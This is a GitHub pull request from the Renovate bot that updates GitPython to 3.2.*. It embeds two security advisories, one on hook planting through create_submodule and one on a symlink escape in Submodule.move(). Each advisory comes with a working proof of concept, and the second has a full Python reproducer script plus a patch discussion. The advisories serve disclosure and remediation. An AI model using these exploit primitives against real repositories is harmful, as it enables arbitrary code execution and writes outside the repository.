Skip to content

Update dependency GitPython to ==3.2.* [SECURITY] - #241

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-gitpython-vulnerability
Open

Update dependency GitPython to ==3.2.* [SECURITY]#241
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-gitpython-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 30, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
GitPython (changelog) ==3.1.* → ==3.2.* age confidence

GitPython validates a submodule's ".git" path only after cloning into it (RCE)

CVE-2026-114145 / GHSA-83vg-56qc-22m7

More information

Details

Summary

create_submodule(name, path, url) clones a submodule into the repo's own .git
directory before it rejects the path. A path of ".git/hooks" is accepted by the
pre-clone check, so the submodule is cloned straight into the live hooks directory,
and a file named post-checkout in the submodule becomes an executable
.git/hooks/post-checkout. On 3.2.0+ the later index check does raise ValueError,
but only after the clone already wrote to disk, and it does not remove the planted
hook; on 3.1.x there is no such check and the call succeeds silently. Either way the
hook runs on the next git operation (e.g. checkout), giving code execution.

Details

The checkout path is validated too late, after the clone has already mutated disk.
This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate
submodule checkout and metadata paths before mutation") set out to enforce.

Submodule.add() calls the permissive path check before cloning, and the strict check
only reaches the ".git" alias at index time, after _clone_repo has written to disk:

git/objects/submodule/base.py (Submodule.add)
599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks"
673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks
714: index.add([sm], write=True) # strict check only triggers here

git/index/base.py (IndexFile._preprocess_add_items)
732: _validate_repo_path(entry.path) # rejects ".git", too late

_to_relative_path only blocks ../absolute/out-of-tree paths; .git aliases are
rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and
runs at the index boundary. The ValueError it raises at line 732 does not roll back
what _clone_repo already wrote.

Version-dependent behavior:

  • 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the
    hook is already on disk and is not removed (incorrect order of validation vs. clone).
  • 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does
    not reject .git; create_submodule(path=".git/hooks", ...) returns with no error at
    all and the hook is planted silently.
Proof of concept

Setup:
evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)
victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO
sample hooks (the state of a minimal/CI checkout, or git init with an empty
template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)

import git, os.path as osp
try:
git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub"))
except ValueError:
pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened.
# 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.

victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every
affected version. Any later checkout runs it:
git -C victim checkout -> the hook runs -> code execution

Verified live:

  • tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from
    git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and
    git checkout executed it.
  • 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted
    and executed by git checkout.
Impact

Arbitrary code execution. A library/app that creates a submodule from an
attacker-influenced path ends up with an attacker-controlled executable in
.git/hooks, which git runs on ordinary later operations. This affects any service
that derives a submodule checkout path from untrusted data, e.g. one that ingests a
submodule spec (name/path/url) from a user-supplied manifest or API request and feeds
path into create_submodule. On 3.2.0+ the library's own validation is the thing that
fails: it correctly rejects the .git path, but only after the submodule has already
been cloned into place, so an app that traps the ValueError reasonably believes the
unsafe path was blocked.

Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule path;
(2) the target hook name is free in .git/hooks, true for minimal/CI/container
checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default
sample hooks present, git clone refuses the non-empty destination and no plant occurs.

Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08
(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree

GHSA-gq48-pqfc-9p58

More information

Details

Summary

GitPython's public Submodule.move() API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.

The reporter reproduced this on the latest release, GitPython 3.1.62, and current main. In the strict scenario, the repository commits vendor -> ../outside, while the consuming application independently passes the fixed literal vendor/module. Submodule.move() follows vendor, moves the initialized submodule checkout to outside/module, rewrites .gitmodules and the index to the symlinked path, and leaves the index unable to produce a tree.

The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.

Trust boundary and preconditions

The attacker controls:

  • an untrusted Git repository that the application clones;
  • a mode-120000 tracked symlink named vendor;
  • the initialized submodule's content.

The consuming application controls the call and uses a fixed layout rule:

submodule.move("vendor/module")

The trigger requires the application to initialize the submodule and later call Submodule.move() with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires core.symlinks=true with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.

Product and directly verified revisions
  • Package: GitPython (pip ecosystem)
  • Latest release: 3.1.62, tag commit db47516dac750c5968b8f6d388b18712c355df50
  • Current main: b62e91be897f687a622e40cd1e59c33dce45f124
  • Relevant git/objects/submodule/base.py SHA-256 in both revisions: a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c
  • Upstream state rechecked: 2026-09-10 KST

Only these two revisions were directly tested.

Severity and weakness

The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.

For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, AV:N gives a conditional application-level score of 7.1. A fully automatic service may warrant a different UI assessment. The library report uses AV:L because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.

No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.

Reproducer

The following script creates only temporary local repositories and a self-generated canary. It passes protocol.file.allow=always separately with -c on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.

Run it from a fresh source checkout:

git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython

--absolute-link commits the temporary external directory's absolute path instead of ../outside.

#!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""

from __future__ import annotations

import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional

def run_git(
    *args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
    command = [
        "git",
        "-c",
        "user.name=GitPython security fixture",
        "-c",
        "user.email=fixture@example.invalid",
        "-c",
        "protocol.file.allow=always",
        *args,
    ]
    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)

def read_core_worktree(parent) -> str:
    module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
    return parent.git.config("--file", str(module_config), "--get", "core.worktree")

def read_gitmodules_path(parent) -> str:
    modules_file = Path(parent.working_tree_dir) / ".gitmodules"
    return parent.git.config(
        "--file", str(modules_file), "--get", "submodule.logical-name.path"
    )

def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("source_root", type=Path, help="GitPython source checkout")
    parser.add_argument(
        "--absolute-link",
        action="store_true",
        help=(
            "Use the temporary external directory's absolute path as the committed "
            "symlink target"
        ),
    )
    args = parser.parse_args()

    source_root = args.source_root.resolve()
    # The tested GitPython source trees include gitdb and smmap at their roots.
    sys.path[:0] = [
        str(source_root),
        str(source_root / "gitdb"),
        str(source_root / "smmap"),
    ]
    import gitdb  # pylint: disable=import-outside-toplevel
    import smmap  # pylint: disable=import-outside-toplevel
    from git import Repo  # pylint: disable=import-outside-toplevel

    with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary:
        root = Path(temporary)
        module_source = root / "module-source"
        attacker = root / "attacker-parent"
        victim = root / "victim-parent"
        outside = root / "outside"

        run_git("init", "--quiet", str(module_source))
        (module_source / "SELF_GENERATED_CANARY.txt").write_text(
            "SELF_GENERATED_CANARY\n", encoding="utf-8"
        )
        run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source)
        run_git("commit", "--quiet", "-m", "fixture", cwd=module_source)

        outside.mkdir()
        run_git("init", "--quiet", str(attacker))
        run_git(
            "submodule",
            "add",
            "--quiet",
            "--name",
            "logical-name",
            str(module_source),
            "module",
            cwd=attacker,
        )
        link_target = str(outside.resolve()) if args.absolute_link else "../outside"
        (attacker / "vendor").symlink_to(link_target, target_is_directory=True)
        run_git("add", ".gitmodules", "module", "vendor", cwd=attacker)
        run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker)

        run_git("clone", "--quiet", str(attacker), str(victim))
        run_git("submodule", "update", "--init", "--quiet", cwd=victim)

        parent = Repo(victim)
        submodule = parent.submodule("logical-name")
        before = {
            "status": parent.git.status("--porcelain"),
            "write_tree": parent.git.write_tree(),
            "vendor_index": parent.git.ls_files("--stage", "vendor"),
            "index_paths": parent.git.ls_files().splitlines(),
            "gitmodules_path": read_gitmodules_path(parent),
            "source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(),
            "external_canary": (
                outside / "module" / "SELF_GENERATED_CANARY.txt"
            ).exists(),
            "module_core_worktree": read_core_worktree(parent),
        }

        error = None
        try:
            submodule.move(
                "vendor/module"
            )  # Fixed application value; attacker does not control it.
        # Capture the exact type and text so a patched rejection remains visible.
        except Exception as exception:
            error = {"type": type(exception).__name__, "message": str(exception)}

        write_tree = None
        write_tree_error = None
        try:
            write_tree = parent.git.write_tree()
        except Exception as exception:
            write_tree_error = {
                "type": type(exception).__name__,
                "message": str(exception),
            }

        result = {
            "imported_modules": {
                "git": str(Path(sys.modules["git"].__file__).resolve()),
                "gitdb": str(Path(gitdb.__file__).resolve()),
                "smmap": str(Path(smmap.__file__).resolve()),
            },
            "committed_symlink_target": link_target,
            "before": before,
            "call_error": error,
            "after": {
                "status": parent.git.status("--porcelain"),
                "source_canary": (
                    victim / "module" / "SELF_GENERATED_CANARY.txt"
                ).exists(),
                "external_canary": (
                    outside / "module" / "SELF_GENERATED_CANARY.txt"
                ).exists(),
                "index_paths": parent.git.ls_files().splitlines(),
                "gitmodules": (victim / ".gitmodules").read_text(encoding="utf-8"),
                "gitmodules_path": read_gitmodules_path(parent),
                "submodule_path": submodule.path,
                "module_core_worktree": read_core_worktree(parent),
                "write_tree": write_tree,
                "write_tree_error": write_tree_error,
            },
        }
        print(json.dumps(result, indent=2, sort_keys=True))
        parent.close()
    return 0

if __name__ == "__main__":
    raise SystemExit(main())
Observed result

The relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:

State Before After unpatched move()
API result not called returns successfully
Original checkout module/SELF_GENERATED_CANARY.txt exists checkout is gone
External destination outside/module absent canary exists under outside/module
Parent index .gitmodules, module, vendor .gitmodules, vendor, vendor/module
.gitmodules path module vendor/module
module core.worktree ../../../module ../../../vendor/module
git write-tree succeeds fails

The failure after the move is:

You have both vendor and vendor/module
fatal: git-write-tree: error building trees

The tracked attacker input is present in the clean clone before the call:

120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor

With the proposed patch, the same calls raise before mutation:

ValueError: Submodule checkout path 'vendor/module' contains a symbolic link

The checkout, external directory, index, .gitmodules, and module configuration then remain unchanged, and git write-tree succeeds.

Root cause

Submodule._to_relative_path() delegates to a helper that uses abspath(), commonpath(), and relpath() to enforce lexical containment. These operations normalize .., but they do not resolve or reject an existing intermediate symbolic link.

The relevant helper is git.util._to_relative_path():

root_abs = osp.abspath(os.fspath(root))
path_abs = osp.abspath(osp.join(root_abs, path_str))
common_path = osp.commonpath([root_abs, path_abs])
if common_path != root_abs:
    raise ValueError(...)
relative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))

Submodule.move() then joins the accepted relative path to the worktree and passes it to filesystem operations, including os.listdir() and os.renames():

module_checkout_path = self._to_relative_path(self.repo, module_path)
...
module_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)
...
os.renames(cur_path, module_checkout_abspath)

The operating system resolves vendor/module through the checked-out vendor link at that point.

GitPython already applies the intended component check to the source checkout through Submodule.abspath: it walks every component and rejects os.path.islink(path). The destination in move() does not use that guard.

Suggested fix

The proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:

  • normalizes the destination exactly once;
  • preserves the existing early return for a no-op move;
  • rejects symbolic links in every intermediate destination component;
  • preserves existing final-component symlink behavior;
  • leaves Submodule.abspath's all-component guard intact.

The final-component exception preserves current compatibility. The existing code first uses isfile() and listdir() to classify the link target, then uses os.remove() to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces OSError without changing repository state. Because the pre-removal isfile(), exists(), and listdir() calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.

The component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because move() is decorated with @unbare_repo, working_tree_dir should be present; the helper nevertheless changes an impossible or malformed None state from the previous str(None) path construction to an explicit NotADirectoryError.

Validation

The strict clean-clone proof was run with both relative and absolute committed symlink targets:

Revision macOS ARM64 unpatched Linux ARM64 unpatched macOS patched Linux patched
3.1.62 escape reproduced escape reproduced rejected before mutation rejected before mutation
main b62e91b escape reproduced escape reproduced rejected before mutation rejected before mutation

Both platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable /tmp.

Pinned reproducer SHA-256: 513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c.

The documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved git, gitdb, and smmap from that checkout (git/__init__.py, gitdb/gitdb/__init__.py, and smmap/smmap/__init__.py) and reproduced the same external move. In that exact checkout, git ls-tree HEAD gitdb smmap git/ext reports ordinary mode-040000 trees for root gitdb and smmap, no .gitmodules file exists, and git submodule status --recursive produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.

The revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:

  • relative and absolute ordinary moves from an external process working directory;
  • relative and absolute no-op ordering;
  • no-op compatibility when the stored path includes an existing symlink;
  • the unchanged Submodule.abspath leaf-link guard;
  • relative and absolute intermediate-link rejection before rename;
  • empty-directory, non-empty-directory, file, and dangling final-component link behavior.

Ruff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.

Additional saved controls on both revisions record rejection of ../ and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and RootModule.update() rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.

Impact limits and compatibility observations
  • An existing destination file and an existing non-empty destination directory are preserved and rejected.
  • A missing or empty leaf below an external symlink target can be populated.
  • ../ and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.
  • RootModule.update() rejects the tested commit-to-commit symlinked path before its internal move() call, so ordinary clone/update is not an automatic trigger.
  • The proof does not require or demonstrate a local race.
  • The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.
  • The exact affected history before 3.1.62 has not been established.
AI assistance and credit

This report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.

Requested credit: GitHub user dpfkdlemtp.

Severity

Medium

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

gitpython-developers/GitPython (GitPython)

v3.2.1

Compare Source

What's Changed

New Contributors

Full Changelog: gitpython-developers/GitPython@3.2.0...3.2.1

v3.2.0: - Security

Compare Source

What's Changed

New Contributors

Full Changelog: gitpython-developers/GitPython@3.1.62...3.2.0

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants